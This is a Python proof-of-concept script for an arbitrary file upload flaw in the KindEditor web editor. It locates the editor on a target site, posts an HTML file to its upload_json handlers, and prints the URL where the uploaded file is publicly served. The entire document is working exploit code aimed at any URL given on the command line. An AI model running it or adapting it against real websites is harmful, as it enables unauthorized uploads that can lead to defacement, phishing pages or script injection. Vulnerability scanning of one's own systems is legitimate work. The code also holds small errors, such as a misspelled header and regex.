import requests
import json
import sys
import re

url_payload1 = "/asp/upload_json.asp?dir=file"
url_payload2 = "/asp.net/upload_json.ashx?dir=file"
url_payload3 = "/jsp/upload_json.jsp?dir=file"
url_payload4 = "/php/upload_json.php?dir=file"

header1 = {
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
	'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
	'Accept-Encoding': 'gzip, deflate',
	'Content-Type': 'multipart/form-data; boundary=---------------------------159635487033525133052085173020',
	'Content-Length': '228',
	'DNT': '1',
	'Connection': 'close',
	'Upgrade-Insecure-requestss': '1'
}
header2 = {
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
	'Content-Type': 'application/x-www-form-urlencoded',
}

payload = """
-----------------------------159635487033525133052085173020
Content-Disposition: form-data; name="imgFile"; filename="1.html"
Content-Type: text/html

testtest
-----------------------------159635487033525133052085173020--
"""

def poc(url):
	try:
		res0 = requests.get(url, headers=header2, timeout=5, allow_redirects=False)
		kinde_url = re.findall("""=\"{1}((\w|\/)*(indeditor-4.1.10|indeditor))""",res0.text)[0][0]
		kind_url = url + kinde_url
		for url_payload in (url_payload1, url_payload2, url_payload3, url_payload4):
			test_url = kind_url + url_payload
			try:
				res1 = requests.post(test_url, data=payload, headers=header1, timeout=5, allow_redirects=False)
				if res1.status_code == 200:
					final_url = url + res1.json()['url']
					try:
						res2 = requests.get(final_url, headers=header2, timeout=5, allow_redirects=False)
						if res2.status_code == 200 and "testtest" in res2.text:
							print(final_url)
					except:
						print("Failure!")
			except:
				print("Failure!")
	except:
		print("Failure!")

if __name__ == '__main__':
	url = sys.argv[1]
	poc(url)